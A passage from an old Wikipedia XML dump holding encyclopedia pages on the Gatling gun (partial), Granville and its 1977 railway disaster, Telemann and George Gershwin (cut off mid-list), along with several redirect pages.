The barrels, a carrier, and a lock cylinder were separate and all mounted on a solid plate revolving around a central shaft, mounted on an oblong fixed frame. The carrier was grooved and the lock cylinder was drilled with holes corresponding to the barrels. Each barrel had a single lock, working in the lock cylinder on a line with the barrel. The lock cylinder was encased and joined to the frame. The casing was partitioned, and through this opening the barrel shaft was journaled. In front of the casing was a cam with spiral surfaces. The cam imparted a reciprocating motion to the locks when the gun rotated. Also in the casing was a cocking ring with projections to cock and fire the gun.  

Turning the crank rotated the shaft. Cartridges, held in a hopper, dropped individually into the grooves of the carrier. The lock was simultaneously forced by the cam to move forward and load the cartridge and when the cam was at its highest point the cocking ring freed the lock and fired the cartridge. After the cartridge was fired the continuing action of the cam drew back the lock bringing with it the spent cartridge which was then dropped to the ground.

The grouped barrel concept was not new;  it had been tried since the [[18th century]], but poor engineering and the lack of a [[Cartridge (weaponry)|unitary cartridge]] made previous designs unsuccessful. The initial Gatling gun design used self-contained, reloadable steel cylinders with a chamber holding a ball and black-powder charge, and a percussion cap nipple on one end.  As the barrels rotated, these steel cylinders dropped into place, were fired, and were then ejected from the gun.  The innovative features of the Gatling gun were its independent firing mechanism for each barrel and the simultaneous action of the locks, barrels, carrier and [[breech]].

The smallest calibre gun also had a Broadwell drum feed in place of the curved magazine of the other guns. The drum, named after L. W. Broadwell, an agent for Gatling's company, comprised twenty stick magazines arranged around a central axis, like the spokes of a wheel, each holding twenty cartridges with the bullet noses oriented toward the central axis. This significant invention does not appear to have been patented separately, and may have been included in the April 9, 1872 patent, U.S. 125,563;  a post and base, apparently for mounting a Broadwell drum, is visible in Figure 13 of U.S. 125,563.  As each magazine emptied, the drum was manually rotated to bring a new magazine into use until all 400 rounds had been fired.

The Gatling gun was largely replaced after the development of the gas or [[recoil]] [[Blowback (arms)|blowback]] concept, which is the basis of most modern machine guns.  Such guns could be made smaller and lighter, and were less expensive to produce.

== Combat use ==

*The [[Royal Navy]] used fixed Gatling guns on board warships, intended to repel boarders. By the mid-nineteenth century though, boarding ships was no longer practicable, and so the the Gatlings mounted on board ships never saw close-range action. 

*The [[Naval Brigade]]s serving during the [[Anglo-Zulu War]]s used them alongside their artillery. At the [[Battle of Ulundi]] in [[1879]], Gatling guns were used to slaughter thousands of [[Zulu]] warriors who were forced to charge directly into their field of fire.

*Gatling guns saw action during the British [[bombardment]] of [[Alexandria]] in [[1882]].

*During the [[Franco-Prussian War]] of 1870-1871, several Gatling guns were purchased by [[Léon Gambetta]] on behalf of the [[Government of National Defense]], and were used by the French armies fighting in the provinces, to replace the defective [[mitrailleuse]]

*Gatling guns were used by the US side during the [[Spanish-American War]], most notably during the [[battle of San Juan Hill]]. Some 31 gatling guns in all were purchased by the [[US Army]] before the war ended. [http://www.spanamwar.com/Gatling.htm]

*Gatling guns were used throughout the [[Indian Wars]] against several Native American nations as the Western Expansion continued. The [[Battle of the Little Big Horn]], in which [[George Armstrong Custer]] and his men were routed by combined [[Lakota]] and [[Cheyenne]] forces, would have had a very different outcome had Custer brought the Gatling guns that had originally been in his detail.

[[image:gatling.gun.750pix.jpg|thumb|The [[GAU-8]] Gatling gun of an [[A-10 Thunderbolt II]] at Osan Air Base, Korea]]

==Modern Gatling guns==
Although the principle was unused for many years, Gatling-style guns with rotating barrels returned with the requirement for very high rate-of-fire weapons in military [[aircraft]] and ship-based [[CIWS|anti-missile defence system]]s, with [[electric motor]]s replacing mechanical cranks for rotation. One example is the [[M61 Vulcan]] 20 mm cannon, the most commonly used member of a family of weapons designed by [[General Electric]] and currently manufactured by [[General Dynamics]]. The Vulcan is a six-barrelled electric Gatling capable of firing more than 6,000 rounds per minute, a rate unachievable with a conventional machine gun. A variety of similar weapons are available in calibers ranging from 5.56 mm to 30 mm (There was even a 37mm Gatling that was mounted on the [[prototype]] T249 'Vigilante' [[Anti-aircraft warfare|anti-air]] platform), the rate of fire being somewhat inversely proportional to the size and mass of the ammunition (which also determines the size and mass of the barrels). During the [[Vietnam War]], the 7.62 mm calibre M134 [[Minigun]] was created for  helicopters as an offensive and defensive weapon. Able to fire 4,000 rounds a minute, the Minigun proved to be one of the deadliest weapons ever built and is used in helicopters today.

In addition to their incredibly high rate of fire, many modern gatling guns have the advantage of being operated by external power sources (as opposed to being powered by the energy of the fired cartidge). This increases their reliability as a cartridge's failure to fire does not cause the weapon's operations cycle to be interrupted. In addition certain other classes of stoppage, such as faulty extraction and many of those associated with feeding, are eliminated or reduced considerably due to the external power source.

The Gatling gun cameoed in the [[Arnold Schwarzenegger]] movie [[Predator (film)|''Predator'']] where the character played by [[Jesse Ventura]] was armed with a [[M134]] Minigun, although it would be impossible for a single person to actually carry and fire the Minigun because of the recoil. Indeed, the recoil in the movie's minigun was so great even though it was only firing blank ammunition that the actor had to be propped up in scenes where he fired the Minigun. Furthermore, it takes the equivalent of 6 car batteries to provide the current needed for the weapon's electric motor (a 28V DC/115V AC motor drawing 130A constantly, assuming that the minigun was firing at its maximum rate); the same gun would later be used in the film ''[[Terminator 2: Judgment Day]]''. A similarly improbable use of a gatling gun appeared in the video game [[Metal Gear Solid]], in which [[Vulcan Raven]] wielded a man-portable [[M61 Vulcan]]. A gatling gun also appeared in the movie The Last Samurai at the final battle between the Samurais and the government.

==See also==
{{Commonscat|Gatling gun}}
* [[Volley gun]] 
* [[Mitrailleuse]]
* [[Maxim gun]]
* [[Revolver cannon]]
* [[CIWS]]

==External links==
*[http://www.canit.se/~griffon/aviation/text/akandata.htm List of Military Gatling &amp; Revolver cannons]
*{{US patent|36836}} -- ''Gatling gun''
*{{US patent|47631}} -- ''improved Gatling gun''
*{{US patent|112138}} -- ''revolving battery gun''
*{{US patent|125563}} -- ''improvement in revolving battery guns''
*[http://www.geocities.com/maj314159/Colt1900.html &quot;Colt 30 Cal Gatling Gun Model 1900 Army&quot; drawings]
*http://www.world.guns.ru/machine/minigun-e.htm
*[http://www.nazarian.no/wepc.asp?lang=0&amp;group_id=25 Nazarian`s Gun`s Recognition Guide]
*[http://science.howstuffworks.com/machine-gun4.htm Description of operating principle with animation from How Things Work website]

[[Category:Early machine guns]]
[[Category:Multi-barrel machine guns]]
[[Category:Rotary cannons]]
[[Category:Weapons of the United States]]

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  </page>
  <page>
    <title>German Democratic Republic</title>
    <id>13058</id>
    <revision>
      <id>15910700</id>
      <timestamp>2005-03-16T01:49:36Z</timestamp>
      <contributor>
        <username>Everyking</username>
        <id>44020</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Schabowski|Schabowski]] to last version by Wik</comment>
      <text xml:space="preserve">#REDIRECT [[East Germany]]</text>
    </revision>
  </page>
  <page>
    <title>German game designer</title>
    <id>13059</id>
    <revision>
      <id>22688241</id>
      <timestamp>2005-09-06T10:07:19Z</timestamp>
      <contributor>
        <username>Millsdavid</username>
        <id>109212</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[German-style board game]]</text>
    </revision>
  </page>
  <page>
    <title>Granville, New South Wales</title>
    <id>13060</id>
    <revision>
      <id>38261138</id>
      <timestamp>2006-02-05T04:54:39Z</timestamp>
      <contributor>
        <username>Blnguyen</username>
        <id>435516</id>
      </contributor>
      <comment>/* External links */ council table</comment>
      <text xml:space="preserve">'''Granville''' is a suburb of [[Sydney]], [[Australia]], within the [[City of Parramatta]] [[Local Government Area]]. It is most notable as the site of the [[Granville railway disaster]].

== External links ==
{{Mapit-AUS-suburbscale|long=151.00790|lat=-33.84040}}

{{Sydney Holroyd suburbs}}

{{Sydney Parramatta suburbs}}
{{Sydney-geo-stub}}

[[Category:Suburbs of Sydney]]
[[Category:Incomplete Sydney suburbs]]</text>
    </revision>
  </page>
  <page>
    <title>Georg Philipp Telemann</title>
    <id>13062</id>
    <revision>
      <id>41792281</id>
      <timestamp>2006-03-01T20:03:23Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: cs</comment>
      <text xml:space="preserve">'''Georg Philipp Telemann''' ([[March 14]], [[1681]] &amp;ndash; [[June 25]], [[1767]]) was a [[Germany|German]] [[Baroque music]] [[composer]], born in [[Magdeburg]]. Self-taught in music, he studied languages and science at the [[University of Leipzig]]. Credited as the most prolific composer of all time, he was a contemporary of [[Johann Sebastian Bach]], and friend of [[George Frideric Handel]]. While in the present day Bach is generally thought of as the greater composer, Telemann was widely renowned for his musical abilities during his lifetime.

[[Image:Telemann.jpg|right|framed|Georg Philipp Telemann]]

Telemann was so prolific that he was never able to count the number of his compositions. He traveled widely, absorbing various musical styles and incorporating them into his own compositions.

Telemann is known for writing concertos for unusual combinations of instruments, such as multiple violas or trumpets.

He held a series of important musical positions, culminating in that of music director of the five largest churches in [[Hamburg]], from [[1720]] until his death in 1767. He was succeeded by his godson [[Carl Philipp Emanuel Bach]].

==Life==
Georg Philipp Telemann was born in [[Magdeburg]], now part of [[Saxony-Anhalt]], in 1681. Telemann’s family was not particularly musical; his great-grandfather had served as [[Cantor]] at [[Halberstadt]], but no one else in his direct family had been involved in music. Telemann’s father died in [[1685]], leaving his mother to raise and see to the education of the children. They were an upper-middle class family, and many worked in the church. Telemann began to discover music at age 10, and quickly showed talent, composing his first [[opera]] by age 12. But this talent was not approved of by his family. Fearing that her son would pursue a career in music, Telemann’s mother confiscated all of his musical instruments and in [[1693]]  sent him to a new school in Zellerfeld hoping that this change would put the boy on a more lucrative career path. However, the superintendent of this school approved of his talents, and Telemann continued to compose and expand his knowledge of music on his own. By the time he completed his studies at the Gymnasium Andreanum in Hildesheim, Telemann had learned to play the [[recorder]], [[organ (music)|organ]], [[violin]], [[viola da gamba]], [[flute]], [[oboe]], [[chalumeau]], [[double bass]], and [[bass trombone]], almost entirely by himself. His travels had also exposed him to newer musical styles, and the music of [[Johann Rosenmüller|Rosenmüller]] and [[Corelli]] became early influences.

In [[1701]], Telemann entered the Leipzig University intending to study law, perhaps at the request of his mother. It was not long before his musical talent was found out, however, and he was commissioned to write music for two of the city’s main churches. Soon thereafter, he founded a 40-member [[Collegium Musicum]] to give concerts of his music. The next year, Telemann became the director of Leipzig’s [[opera]] house and cantor of one of its churches. His growing prominence began to anger elder composer [[Johann Kuhnau]], whose position as director of music for the city had been encroached upon by Telemann’s appointment as a cantor. Telemann was also using many students in his opera productions, leaving them less time to devote to participation in church music for Kuhnau. Kuhnau denounced Telemann as an “opera musician”. Even after Telemann’s departure, Kuhnau could not regain the performers he had lost to the opera.

Telemann left [[Leipzig]] in [[1705]] to become [[Kapellmeister]] for the court of Count Erdmann II. Here he acquainted himself with the French style of [[Jean-Baptiste Lully|Lully]] and [[André Campra|Campra]], composing around 200 French [[overture]]s and [[suite]]s in his 16 years at the post. Despite this prodigious output, the most productive phase of Telemann’s career did not begin until he took his next post in [[1721]], as musical director of the five main churches in Hamburg, a position he would hold for the rest of his life. Here Telemann wrote two [[cantata]]s for each Sunday, as well as other sacred music for special occasions, all while teaching singing and [[music theory]] and directing another collegium musicum, which gave weekly or bi-weekly performances. Telemann also directed the local opera house for a few years, but this proved a financial failure. 

When the position Kuhnau had once held in Leipzig became vacant, Telemann applied for the position. Of the six musicians who applied, he was the favored candidate, even winning the approval of the city’s council. Telemann declined the position, but only after using the offer as leverage to secure a pay raise for his position in Hamburg. When Telemann declined, the job was given to [[Johann Sebastian Bach|J.S. Bach]]. Telemann also augmented his Hamburg pay with a few small positions in other courts, and through publishing volumes of his own music. 

Starting around [[1740]], Telemann’s output decreased as he began to focus more energy on writing theoretical treatises. During this time he also corresponded with some younger composers, including [[Franz Benda]] and Telemann's godson, [[Carl Philipp Emanuel Bach|C.P.E. Bach]]. Following the death of his eldest son Andreas in [[1755]], Telemann assumed the responsibility of raising his grandson [[Georg Michael Telemann]], and beginning the future composer’s education in music. Many of his sacred [[oratorio]]s date from this period. In his later years, Telemann’s eyesight began to deteriorate, and this led to a decline in his output around [[1762]], but the composer continued to write until his death on June 25, 1767.

==Works and reputation==

The ''[[Guinness Book of World Records]]'' lists Telemann as the most prolific composer of all time with more than 800 credited works. More recent study, for example the thematic catalogues of his works published in the 1980s and 1990s, has shown that Telemann actually composed over 3,000 compositions, many of which are now lost.  Many of the manuscripts were destroyed during World War II.

Telemann was highly regarded during his lifetime, and for several decades afterwards; however by the first decades of the 19th century his works were performed increasingly less frequently.  The last performance of a substantial work by Telemann, ''Der Tod Jesu'', until the 20th century, was in 1832.  Indeed the 1911 ''[[1911 Encyclopedia Britannica|Encyclopedia Britannica]]'', which includes large articles on both [[J.S. Bach]] and [[Handel]], makes not a single mention of Telemann.

The revival of interest in Telemann began in the first decades of the 20th century and culminated in the Bärenreiter critical edition of the 1950s.  Numerous recordings of Telemann are available in the early 21st century, and his music is among the most often performed by early music ensembles.

==Selected works==
*''Der Geduldige Socrates'' ([[1721]])
*''Der Schulmeister''
*''Der Tod Jesu'' (&quot;The Death of Jesus&quot;)
*''Die Donner-Ode'' (&quot;The Ode of Thunder&quot;)
*''Die Tageszeiten'' (&quot;The Times of the Day&quot;)
*''Der Tag des Gerichts'' (&quot;The Day of Judgement&quot;)
*''Viola Concerto'', the first known concerto for viola, still regularly performed today
*''Tafelmusik'' (1733) ('[[Tafelmusik (musical term)|Tafelmusik]]' refers to music meant to accompany a meal)
*''Der getreue Musikmeister'' ([[1728]]), a musical journal containing 70 small vocal and instrumental compositions

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Telemann - 2violin Sonata 1-1.ogg|title=Two Violin Sonata 1, movement 1|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Telemann - 2violin Sonata 1-2.ogg|title=Two Violin Sonata 1, movement 2|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Telemann - 2violin Sonata 1-3.ogg|title=Two Violin Sonata 1, movement 3|description=|format=[[Ogg]]}}
{{multi-listen end}}

==External links==
* [http://www.baroquemusic.org/bqxtel.html Detailed biography at baroquemusic.org]
* {{IckingArchive|idx=Telemann|name=Georg Philipp Telemann}}
*[http://www.kantoreiarchiv.de/archiv/choir_orchestra/cantata/telemann/ Free scores, Cantatas]
{{commons|Georg Philipp Telemann}}

[[Category:1681 births|Telemann, Georg Philipp]]
[[Category:1767 deaths|Telemann, Georg Philipp]]
[[Category:Natives of Saxony-Anhalt|Telemann, Georg Philipp]]
[[Category:Baroque composers|Telemann, Georg Philipp]]
[[Category:German composers|Telemann, Georg Philipp]]
[[Category:Opera composers|Telemann, Georg Philipp]]
[[Category:Music theorists|Telemann, Georg Philipp]]

{{Link FA|de}}

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[[ja:ゲオルク・フィリップ・テレマン]]
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[[uk:Георг Філіп Телеманн]]</text>
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  </page>
  <page>
    <title>Granville railway disaster</title>
    <id>13064</id>
    <revision>
      <id>41762012</id>
      <timestamp>2006-03-01T15:42:36Z</timestamp>
      <contributor>
        <username>Longhair</username>
        <id>99037</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">On [[January 18]], [[1977]], [[Australia]] experienced its worst ever [[rail transport|railway]] disaster at [[Granville, New South Wales|Granville]], a suburb of [[Sydney]], [[New South Wales]].
The crowded 6.09 a.m. [[commuter train]] from [[Mount Victoria]] in the [[Blue Mountains]] to [[Sydney]] left the rails and hit a row of supports of an overhead road [[bridge]] constructed from concrete and steel. The derailed engine car and carriages one and two passed the bridge. The locomotive and carriage one broke free from the other carriages, hitting a metal pole, which tore through carriage one killing eight passengers. The remaining carriages ground to a halt with carriage two clear of the bridge, and the rear two-thirds of carriage three and forward third of carriage four under it. With its supports demolished, the bridge and several motor cars on top of it crashed down onto carriages three and four, crushing them and the passengers inside.

In all 83 people died and more than 200 were badly injured. Many of those who died were killed instantly when the bridge crushed them in their seats. The passengers killed were all in carriages one, three and four. Incredibly, some of the survivors were in the carriages crushed by the bridge and saw people one seat ahead killed. The train driver and the secondman, and the motorists on the bridge all survived. There were also a number of people trapped in the train for hours after the accident by part of the bridge crushing a limb or torso. Many of these people were conscious and lucid talking to rescuers, but died of [[toxic shock syndrome]] soon after the crushing weight was removed from their bodies due to the sudden release of toxins having built up in the limb suddenly overloading the kidneys. This resulted in changes to rescue procedures for these kinds of accidents.

Many police officers who attended the scene never received appropriate counselling after cleaning up after the horrific accident.

An Australian movie made in 1998, ''Day of the Roses'', follows the coronial investigation. Coroner Tom Weir was corresponding with [[Beyond Television Productions]] about the pressure applied on him during inquest into the disaster before his sudden death from bowel cancer in 1996.

== Aftermath ==
[[Image:Granville station sydney.jpg|thumb|[[Granville railway station, Sydney|Granville station]]]]
The bridge was rebuilt as a single span without any intermediate support piers.
Other bridges similar to the destroyed bridge had their piers reinforced.

The cause of the disaster was the [[state government]]'s [[speed limit]] adjustments on the line. The speed limit around the bend just before the bridge was raised by railway authorities.
The disaster occurred prior to a [[New South Wales]] [[state election]] and, although complex, ultimately the blame for the disaster was placed on the state government's bid for another term in parliament as they did all they could, at risk of people's lives, to keep the trains on time.

== Similar Accidents ==

The [[Eschede train disaster]] in Germany had a similar collapse of its bridge.

== External links ==
*[http://danger-ahead.railfan.net/accidents/granvill.htm Danger Ahead]&lt;br&gt;
*[http://www.imdb.com/title/tt0176365/ Day of the Roses] [[docudrama]] film about the disaster.

== See also ==
* [[List of disasters in Australia by death toll]]
* [[List of bridge disasters]]
* [[List of rail accidents|List of railway disasters]]

[[Category:Railway accidents]]
[[Category:1977 in Australia]]
[[Category:CityRail]]
[[Category:History of New South Wales]]</text>
    </revision>
  </page>
  <page>
    <title>Galveston</title>
    <id>13065</id>
    <revision>
      <id>15910707</id>
      <timestamp>2002-05-27T20:21:51Z</timestamp>
      <contributor>
        <username>DavidLevinson</username>
        <id>1689</id>
      </contributor>
      <comment>#REDIRECT [[Galveston, Texas]]</comment>
      <text xml:space="preserve">#REDIRECT [[Galveston, Texas]]
 
</text>
    </revision>
  </page>
  <page>
    <title>George Gershwin</title>
    <id>13066</id>
    <revision>
      <id>41669702</id>
      <timestamp>2006-02-28T23:29:34Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: no</comment>
      <text xml:space="preserve">[[Image:GeorgeGershwin.gif|right|thumb|George Gershwin photograph by [[Edward Steichen]] in [[1927]].  This photo was said to be [[Ira Gershwin|Ira's]] favorite[http://www.loc.gov/loc/lcib/9809/gershwin.html] ]]

:&lt;span class=&quot;dablink&quot;&gt;''For other uses of '''Gershwin''', see [[Gershwin (disambiguation)]].''&lt;/span&gt;

'''George Gershwin''' ([[September 26]], [[1898]] &amp;ndash; [[July 11]], [[1937]]) was an [[United States|American]] [[composer]].  He was born '''Jacob Gershowitz''' in [[Brooklyn, New York]] to [[Russia|Russian]] [[Jew]]ish immigrant parents, the second of four children.  George wrote most of his works together with his elder brother [[lyricist]] [[Ira Gershwin]].  Gershwin composed both for [[Broadway theatre|Broadway]] and for the [[European classical music|classical]] concert hall. He also wrote [[Popular music|popular songs]] with success. 

Many of his compositions have been used on television and many are recognized [[jazz]] standards; the jazz singer [[Ella Fitzgerald]] recorded many of the Gershwin's songs on her [[1959]] [[Ella Fitzgerald Sings_the_George_and_Ira_Gershwin_Songbook|Gershwin Songbook]] (arranged by [[Nelson Riddle]]), and the very greatest singers and musicians have recorded Gershwin songs, most notably [[Frank Sinatra]], [[Billie Holiday]], [[Miles Davis]], [[John Coltrane]], [[Herbie Hancock]], [[Judy Garland]], [[Nina Simone]] and countless others.

==Biography==
In [[1910]], the Gershowitzs had acquired a piano for Ira's music lessons, but younger brother George took over, successfully playing by ear. He tried out various piano teachers for two years, then was introduced by Max Rosenzweig to Charles Hambitzer, who acted as George's mentor until Hambitzer's death in [[1918]]. Hambitzer taught George conventional piano technique, introduced him to music of the European [[European classical music|classical]] tradition, and encouraged him to attend [[Orchestra|orchestral]] concerts.  (At home following such concerts, young George would attempt to reproduce at the keyboard the music he had heard).  He later studied with classical composer [[Rubin Goldmark]] and avant-garde composer-theorist [[Henry Cowell]]. 

His first job as a performer was as a piano pounder for Remick's, a publishing company on [[Tin Pan Alley]]. His [[1916]] novelty [[Ragtime|rag]] &quot;Rialto Ripples&quot; was a commercial success, and in [[1918]] he scored his first big national hit with his song &quot;Swanee&quot;.
In 1916 he also recorded fourteen [[piano roll|piano rolls]] including six pieces of his own compositions for the [[Welte-Mignon]] [[reproducing piano]] of ''[[M. Welte &amp; Sons, Inc.]]'' of [[New York City]], the inventor and first producer of [[reproducing piano|reproducing pianos]].

In [[1924]], George and Ira collaborated on a musical comedy, ''[[Lady Be Good]]''. It included such future [[Jazz standards|standards]] as &quot;Fascinating Rhythm&quot; and &quot;The Man I Love.&quot; 
This was followed by ''[[Oh, Kay!]]'' ([[1926]]); ''Funny Face'' in ([[1927]]); ''Strike Up the Band'' ([[1927]] &amp; [[1930]]); ''Girl Crazy'' ([[1930]]), which introduced the standard &quot;[[I Got Rhythm]]&quot;; and ''[[Of Thee I Sing]]'' ([[1931]]), the first musical comedy to win a [[Pulitzer Prize]]. &quot;[[I Got Rhythm]],' interestingly, was accepted as a [[Jazz Standard]], and its [[chord progression]] has incredible significance in [[Jazz]]. These chord changes known as &quot;[[Rhythm changes]]&quot; have been frequently adopted in Jazz literature.

Gershwin stayed in Paris for a short period of time where he wrote &quot;An American in Paris&quot;. This work received mixed reviews. Eventually he found the music scene in Paris too supercilious and left for America to do more work.

It was in Hollywood, while working on the score of The Goldwyn Follies, that George Gershwin collapsed and, on [[July 11]], [[1937]], died of a brain tumour at the age of 38. He was interred in the [[Westchester Hills Cemetery]], [[Hastings-on-Hudson, New York]].

Gershwin had a ten-year affair with composer [[Kay Swift]]. Swift was a frequent consult of Gershwin; he named the musical ''Oh, Kay'' after her.  Posthumously, Swift arranged some of his music, transcribed some of his recordings, and collaborated with Ira on several projects. He had also had an affair with [[Simone Simon]].

Gershwin died [[intestacy|intestate]], and all his property passed to his mother. The Gershwin estate continues to bring in significant royalties from licensing the [[copyright]]s on Gershwin's work. The estate supported the [[Sonny Bono Copyright Term Extension Act]] because its [[1923]] cutoff date was shortly before Gershwin had begun to create his most popular works. The copyrights on those works expire in 2007 in the [[European Union]] and between 2019 and 2027 in the [[United States|United States of America]].

==Music==
===Musical style and influence===
Gershwin was influenced very much by French composers of the early twentieth century.  Upon meeting composer [[Maurice Ravel]], Gershwin asked him of the possibility of becoming a student of composition under the master. Ravel is said to have replied, &quot;Why should you be a second-rate Ravel when you can be a first-rate Gershwin?&quot;  Ravel was already quite impressed with the ability of Gershwin, commenting, &quot;Personally I find jazz most interesting: the rhythms, the way the melodies are handled, the melodies themselves.  I have heard of George Gershwin's works and I find them intriguing.&quot; (Mawer 42)  The orchestrations in Gershwin's symphonic works often seem similar to those of Ravel; likewise, Ravel's two piano concertos evince an influence of Gershwin. He also asked [[Igor Stravinsky]] for lessons; when Stravinsky heard how much Gershwin earned, he replied &quot;How about you give ''me'' some lessons?&quot;

Gershwin's own Concerto in F was criticised as being strongly rooted in the work of [[Claude Debussy]], more so than in the jazz style which was expected.  The comparison didn't deter Gershwin from continuing to explore French styles.  The title of ''An American in Paris'' reflects the very journey that he had consciously taken as a composer: &quot;The opening part will be developed in typical French style, in the manner of Debussy and the Six, though the tunes are original.&quot; (Hyland 126)

Gershwin was intrigued by the works of [[Alban Berg]], [[Dmitri Shostakovich]], [[Igor Stravinsky]], [[Darius Milhaud]] and [[Arnold Schoenberg]]. Russian  [[Joseph Schillinger]]'s influence as his teacher of composition was substantial in providing him with a method to his composition.  After the posthumous success of ''Porgy and Bess'', Schillinger claimed he had a large and direct influence in overseeing the creation of the opera; Ira completely denied that his brother had any such assistance for this work.  In analysis, Schillinger's student [[Vernon Duke]] found that while many of Gershwin's works certainly were reviewed by Schillinger, ''Porgy'' does not seem to be one of them.  The indirect influence of his study with the teacher was apparent in the opera's even more clear orchestrations but it is characteristically Gershwin in ways that Schillinger would not have approved of. (Hyland 167)

What set Gershwin aside was his ability to manipulate forms of music into his own unique voice. He took the jazz he discovered on Tin Pan Alley into the mainstream by splicing its rhythms and tonality with that of the popular songs of his era.

===Classical works===
Note: All orchestral/operatic pieces are [[orchestration|orchestrated]] by Gershwin unless otherwise specified. 

*''[[Lullaby]]'' ([[1919]]), a meditative piece for string quartet.
*''[[Blue Monday (opera)|Blue Monday]]'', a one-act opera featured in ''[[George White's Scandals|George White's Scandals of 1922]]'', orchestrated by Will Vodery.
**Reorchestrated by [[Ferde Grofé]] and retitled ''135th Street'' in 1925.
*''[[Rhapsody in Blue]]'', ([[1924]]), his most famous work, a symphonic jazz composition for jazz band &amp; piano, better known in the form orchestrated by [[Ferde Grofe]]. Featured in numerous films and commercials. This piece opens Woody Allen's classic movie &quot;[[Manhattan]]&quot;
*''[[Short Story]]'', ([[1925]]), for violin and piano, an arrangement of two other short pieces originally intended to be included with the [[Three Preludes]].
*''[[Concerto in F (Gershwin)|Concerto in F]]'', ([[1925]]), three movements, for piano and orchestra 
*''[[Three Preludes]]'', ([[1926]]), for piano 
*''[[An American In Paris]]'' ([[1928]]), a symphonic tone poem with elements of jazz and realistic Parisian sound effects
*''[[Second Rhapsody]]'' ([[1932]]), for Piano and Orchestra, based on the score for a musical sequence from [[Delicious]]. Working title for the work was ''Rhapsody in Rivets''.
** The form most commonly heard today is a re-orchestrated version by Robert McBride; most of Gershwin's orchestrations have been simplified. Also, eight measures not by the composer were added to the recapitulation. [[Michael Tilson Thomas]] has been a promulgator of Gershwin's original version. 
*''[[Cuban Overture]]'' ([[1932]]), originally titled [[Rumba]], a tone poem featuring elements of native Cuban dance and folk music; score specifies usage of native Cuban instruments
*''Piano Transcriptions of Eight Songs'' ([[1932]])
*''[[I Got Rhythm Variations]]'' ([[1934]]), a set of interesting variations on his famous song, for piano and orchestra
** Includes a waltz, an atonal fugue, and experimentation with Asian and jazz influences
*''[[Porgy And Bess]]'', a folk [[opera]] ([[1935]]) (from the book by [[DuBose Heyward]]) about African-American life, now considered a definitive work of the American [[theater]].
** Contains the famous [[aria]] &quot;[[Summertime (song)|Summertime]]&quot;, in addition to hits like &quot;I Got Plenty of Nothin'&quot; and &quot;It Ain't Necessarily So&quot;.
** [[Porgy and Bess]] has also been heard in the concert hall, mostly in two orchestral suites, one by [[Gershwin]] himself entitled [[Catfish Row]]; another suite by Robert Russell Bennett, [[Porgy and Bess: A Symphonic Picture]] is also relatively popular.
*''[[Walking the Dog]]'', ([[1937]]), a humorous piece for orchestra featuring the clarinet. Originally a musical sequence from the movie [[Shall We Dance (film)|Shall We Dance]].
** Many other incidental sequences from [[Shall We Dance]] were written and (for the most part) orchestrated by [[Gershwin]], among them: ''Waltz of the Red Balloons'' and a final extended 8-minute orchestral passage based on the title song with an intruiging [[coda (music)|coda]] hinting at [[Gershwin]] forging a new musical path. It is unknown why any of these compositions have not seen the light of day in the concert hall.
** Most of the musicals [[Gershwin]] wrote are also known for their instrumental music, among them the March from [[Strike Up The Band]] and [[overtures]] to many of his later shows.
*''[[Impromptu in Two Keys]]'', published posthumously in ([[1973]]), for piano
*''[[Two Waltzes in C]]'', published posthumously in ([[1975]]), for piano

===[[Musical theater]] credits===
Note: All works are musicals produced on [[Broadway theater|Broadway]] unless specified otherwise.

*1919 - ''Half Past Eight'' (lyrics by Ira Gershwin and Edward B. Perkins). Premiered in [[Syracuse, New York|Syracuse]].
*1919 - ''La La Lucille'' (lyrics by [[Arthur Jackson]] and [[B. G. DeSylva]])
*1919 - ''Morris Gest &quot;Midnight Whirl&quot;'' (lyrics by [[B. G. DeSylva]] and John Henry Mears)
*1920 - ''[[George White's Scandals|George White's Scandals of 1920]]'' (lyrics by Arthur Jackson)
*1921 - ''A Dangerous Maid'' (lyrics by Ira Gershwin). Premiered in [[Atlantic City]]. 
*1921 - ''[[George White's Scandals|George White's Scandals of 1921]]'' (lyrics by Arthur Jackson)
*1922 - ''[[George White's Scandals|George White's Scandals of 1922]]'' (lyrics by [[E. Ray Goetz]] and B. G. DeSylva)
**The premiere performance featured the one-act opera ''[[Blue Monday (opera)|Blue Monday - 135th Street Blues]]'' with libretto and lyrics by [[B. G. DeSylva]], set in Harlem in a jazz idiom. However, after only one performance, the opera was withdrawn from the show.
*1922 - ''Our Nell'' (co-composed [[William Daly]], lyrics co-written by Gershwin and Daly
*1923 - ''[[The Rainbow Revue|The Rainbow]]'' (lyrics by [[Clifford Grey]]). Premiered in [[West End|London]].
*1923 - ''[[George White's Scandals|George White's Scandals of 1923]]'' (lyrics by [[E. Ray Goetz]], B. G. DeSylva and Ballard MacDonald)
*1924 - ''Sweet Little Devil'' (lyrics by B. G. DeSylva)
*1924 - ''[[George White's Scandals|George White's Scandals of 1924]]'' (lyrics by B. G. DeSylva)
*1924 - ''Primrose'' (lyrics by [[Desmond Carter]] and Ira Gershwin). Premiered in [[West End|London]].
*1924 - ''[[Lady, Be Good!]]'' (lyrics by [[Ira Gershwin]])
*1925 - ''Tell Me More!'' (lyrics by Ira Gershwin and B. G. DeSylva)
*1925 - ''Tip-Toes'' (lyrics by Ira Gershwin)
*1925 - ''Song of the Flame'' (lyrics by [[Otto Harbach]] and [[Oscar Hammerstein II]], and musical collaboration by [[Herbert Stothart]])
*1926 - ''[[Oh, Kay!]]'' (lyrics by Ira Gershwin)
**Includes the famous song, &quot;[[Someone to Watch Over Me]]&quot;
**Revived in 1928 and 1990 (the latter with an all-Black cast)
*1927 - ''[[Strike Up The Band]]'' (lyrics by Ira Gershwin). Premiered in [[Long Branch, New Jersey]].
**Revised and produced on Broadway in 1930
*1927 - ''[[Funny Face]]'' (lyrics by Ira Gershwin)
*1928 - ''Rosalie'' (lyrics by Ira Gershwin and [[P. G. Wodehouse]], co-composed with [[Sigmund Romberg]])
*1928 - ''Treasure Girl'' (lyrics by Ira Gershwin)
*1929 - ''Show Girl'' (lyrics by Ira Gershwin and [[Gus Kahn]])
